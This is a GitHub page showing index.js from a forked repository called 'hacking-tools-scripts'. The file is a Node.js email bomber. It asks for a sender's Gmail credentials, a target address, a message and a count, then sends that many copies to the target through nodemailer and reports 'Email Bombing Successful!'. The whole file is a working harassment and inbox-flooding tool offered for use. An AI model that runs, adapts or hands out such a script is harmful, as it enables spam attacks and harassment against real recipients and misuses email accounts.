forked from japneetkaurbhatia/hacking-tools-scripts
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathindex.js
More file actions
54 lines (54 loc) · 1.35 KB
/
Copy pathindex.js
File metadata and controls
54 lines (54 loc) · 1.35 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// Importing the required library in NodeJS to send emails using script
const nodemailer = require('nodemailer')
// NPM Package for getting user input through Command Line
const inquirer = require('inquirer')
// Taking User Input
var questions = [{
type: 'input',
name: 'senderEmail',
message: 'Enter the email id from which you want to bomb emails: '
}, {
type: 'input',
name: 'receiverEmail',
message: 'Enter the email id which you want to spam through this email bomber: '
}, {
type: 'input',
name: 'subject',
message: 'Enter the subject of mail: '
}, {
name: 'input',
name: 'text',
message: 'Enter the text content of mail: '
}, {
type: 'password',
name: 'password',
message: 'Enter your email password: '
}, {
type: 'number',
name: 'times',
message: 'Enter the number of emails you want to send: '
}]
// Working on the user input to send emails
inquirer.prompt(questions).then( answers => {
let mailOptions = {
from: answers.senderEmail,
to: answers.receiverEmail,
subject: answers.subject,
text: answers.text
}
const transporter = nodemailer.createTransport({
service: 'gmail',
auth: {
user: answers.senderEmail,
pass: answers.password
}
})
for(var i=0 ; i<answers.times ; i++){
transporter.sendMail(mailOptions, (error, response) => {
if (error) {
console.log(error)
}
})
}
console.log("Email Bombing Successful!")
})